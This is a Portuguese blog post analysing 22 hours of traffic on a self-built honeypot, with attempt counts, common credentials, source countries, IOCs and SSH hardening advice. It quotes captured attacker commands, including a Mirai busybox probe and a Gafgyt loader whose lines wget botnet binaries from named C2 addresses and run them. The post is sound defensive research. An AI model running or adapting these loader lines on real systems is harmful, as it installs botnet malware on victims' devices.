Expus um servidor-isca de SSH à internet por 22 horas. Não precisei esperar por um ataque para ter o que analisar: ele já estava acontecendo, sem pausa, o tempo todo.
Este post é o que os dados mostraram, do brute force inicial até o payload que os bots tentam instalar, com números reais, IOCs e trechos do que foi capturado.
O que é um honeypot (e o que este faz)
Um honeypot é um servidor "isca": ele finge ser um alvo real, registra tudo que os atacantes tentam e nunca executa nada de verdade.
O que eu construí, do zero em Go:
- SSH de média interação na porta 22. Ele coleta as credenciais e, depois de algumas tentativas, "aceita" o login e apresenta um shell emulado que registra cada comando pós-invasão, sem jamais executá-los.
- Decoys de Telnet (23), PostgreSQL (5432) e FTP (21) para ampliar a superfície e ver o que mais é varrido.
- Enriquecimento de GeoIP/ASN/reverse DNS por IP de origem.
-
Extração automática de IOCs: quando um bot chama
wget/curl, a URL do payload é capturada. Quando a URL usa variáveis de shell, elas são reconstruídas para revelar o endereço real de C2. - Dashboard em tempo real com mapa de origem, heatmap e drill-down de sessão.
Aviso importante: média interação aumenta o valor dos dados, mas também o risco. Aqui é emulação pura, sem execução, sem egress e com limites de tempo e de comandos.
Os números de menos de um dia
Janela: ~22 horas. 3.888 tentativas de 666 IPs distintos, uma média de ~176 tentativas por hora.
Por serviço (a porta-alvo revela o que está sendo varrido):
| Serviço | Tentativas |
|---|---|
| SSH (22) | 3.249 |
| Telnet (23) | 363 |
| PostgreSQL (5432) | 273 |
| FTP (21) | 3 |
As credenciais mais tentadas não surpreendem, mas contam a história do alvo:
| Usuários | Hits | Senhas | Hits |
|---|---|---|---|
| root | 1.008 | 123456 | 105 |
| admin | 292 | admin | 89 |
| ubuntu | 127 | password | 59 |
| postgres | 81 | 1234 | 61 |
| crypto | 86 | 12345678 | 40 |
O crypto como usuário-alvo é um lembrete de que parte da varredura procura carteiras e mineradores, não só shells.
Não é ruído uniforme
O tráfego parece constante, mas por cima do ruído de fundo há campanhas em rajada:
- Um único IP (AS198364) disparou 820 tentativas sozinho, mais de 20% de todo o tráfego.
- Quase metade das tentativas se concentrou em uma janela de apenas duas horas.
A maior parte veio de provedores de hospedagem (a Holanda liderou com folga: 1.278 tentativas), não de "hackers em porões", e sim de infraestrutura barata alugada para escanear em massa.
| País | Tentativas |
|---|---|
| Holanda | 1.278 |
| Romênia | 348 |
| Indonésia | 266 |
| Rússia | 239 |
| EUA | 217 |
O que fazem depois de entrar
Aqui está a parte interessante. Depois que o login é "aceito", o comportamento é quase sempre o mesmo e 100% automatizado.
No Telnet, a assinatura é inconfundivelmente Mirai:
enable ; linuxshell ; system ; shell ; sh ; /bin/busybox UNSTABLE
O /bin/busybox <TOKEN> é o teste que o Mirai usa para confirmar que caiu em um busybox real. O honeypot responde UNSTABLE: applet not found (o mesmo que um busybox de verdade diria) e o bot prossegue.
No SSH, capturei um loader Gafgyt completo. Ele tenta cada arquitetura possível, uma por uma:
enable
system
shell
sh
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.77.227.121/bins/pmips; chmod 777 pmips; ./pmips; rm -rf pmips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.77.227.121/bins/x86_64; chmod 777 x86_64; ./x86_64; rm -rf x86_64
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.77.227.121/bins/parm; chmod 777 parm; ./parm; rm -rf parm
# ... e assim por diante: parm5, parm6, pmpsl, ppc, sh4, m68k
A kill chain, resumida:
-
Fingerprint da máquina (
uname, arquitetura, número de CPUs), muitas vezes num one-liner robusto que tentauname,busybox,toyboxe lê/proc/*. - Verificação de que é um dispositivo real (o teste de busybox acima).
-
Download de um binário específico para a arquitetura detectada, em
/tmpou qualquer diretório gravável.
O payload multi-arquitetura
O detalhe que mais chama atenção: o mesmo bot serve binários para x86_64, ARM, MIPS, m68k, PowerPC e SH4. É a assinatura clássica de botnets como Mirai e Gafgyt, que infectam de servidores a roteadores e câmeras IoT.
Ou seja: não é "alguém" tentando te invadir. É uma máquina varrendo a internet inteira para montar um exército de dispositivos, servindo o binário certo para o hardware que encontrar.
Extraindo os IOCs reais
Alguns loaders montam a URL de download com variáveis de shell, algo como:
SERVER_IP=185.100.87.202; local_arch=x86
wget http://${SERVER_IP}/new.php?type=${local_arch}
Se você só capturar a linha do wget, o IOC sai como template inútil: http://${SERVER_IP}/new.php?type=${local_arch}. O honeypot rastreia as atribuições de variáveis por IP de origem (mesmo quando a definição e o download chegam em conexões diferentes) e reconstrói o endereço real.
O resultado foram IOCs acionáveis (14 de 15 URLs saíram com o IP real):
| IOC | Execuções |
|---|---|
http://2.26.136.128/twget.sh |
50 |
http://31.77.227.121/bins/<arch> |
multi-arch |
https://217.60.195.113/sh |
4 |
Hosts de C2 prontos para uma blocklist: 2.26.136.128, 31.77.227.121, 217.60.195.113.
Extrair isso do banco é trivial (o honeypot guarda tudo em SQLite):
SELECT data AS url, COUNT(*) AS hits, COUNT(DISTINCT ip) AS src_ips
FROM session_events
WHERE event_type = 'download'
GROUP BY data
ORDER BY hits DESC;
A lição, se você faz self-hosting
Se você tem uma porta 22 aberta agora, ela já está sendo testada, provavelmente enquanto você lê isto. As defesas são simples e conhecidas, mas vale repetir:
- Nunca exponha SSH com autenticação por senha na internet.
- Desative o login de
rootpor senha (PermitRootLogin prohibit-password). - Use exclusivamente chaves criptográficas (ED25519).
- Ou melhor: isole o acesso atrás de uma VPN (WireGuard, Tailscale).
- Considere
fail2ban/crowdsece mudar a porta apenas como redução de ruído, nunca como segurança real.
Fechando
Um honeypot transforma um risco abstrato ("a internet é perigosa") em dado concreto: IPs, credenciais, comandos e binários reais. E deixa claro que a maior parte do que bate na sua porta não é direcionada a você, é uma varredura industrial, incansável, à procura de qualquer coisa mal configurada.
Construí tudo em Go: SSH de média interação, decoys de Telnet/PostgreSQL/FTP, enriquecimento de GeoIP/ASN, extração de IOCs e um dashboard em tempo real com mapa de ameaças e drill-down de sessão.
Se tiver interesse no setup, no código ou nos dados, comenta aqui. Fico feliz em detalhar qualquer parte.



Top comments (3)
One thing worth checking before those 666 IPs become a blocklist: if you enrich with proxy/VPN feeds, ip-api and proxycheck both flag entire AWS/Hetzner/Linode ranges as proxy, so two independent-looking hits are really one shared assumption. For datacenter ASNs I now require two specialist sources agreeing; residential, one is enough.
The multi-architecture payload download is the detail that stays with me: the bot carries Mirai/Gafgyt builds for x86, ARM, MIPS and friends, which means the botnet's deployment matrix is broader than most startups' CI. The kill chain speed is the other lesson - brute force, fingerprint, payload, all in one scripted breath, with zero interest in who you are. Honeypots like this are underrated as team exercises: 22 hours of logs teach more about real attacker behavior than a quarter of threat-intel reports, and the price is one Go binary and a port you weren't using. The defensive corollary for anyone reading: your SSH port gets this same traffic today, you just don't get to watch it unless you look.
Some comments may only be visible to logged-in visitors. Sign in to view all comments.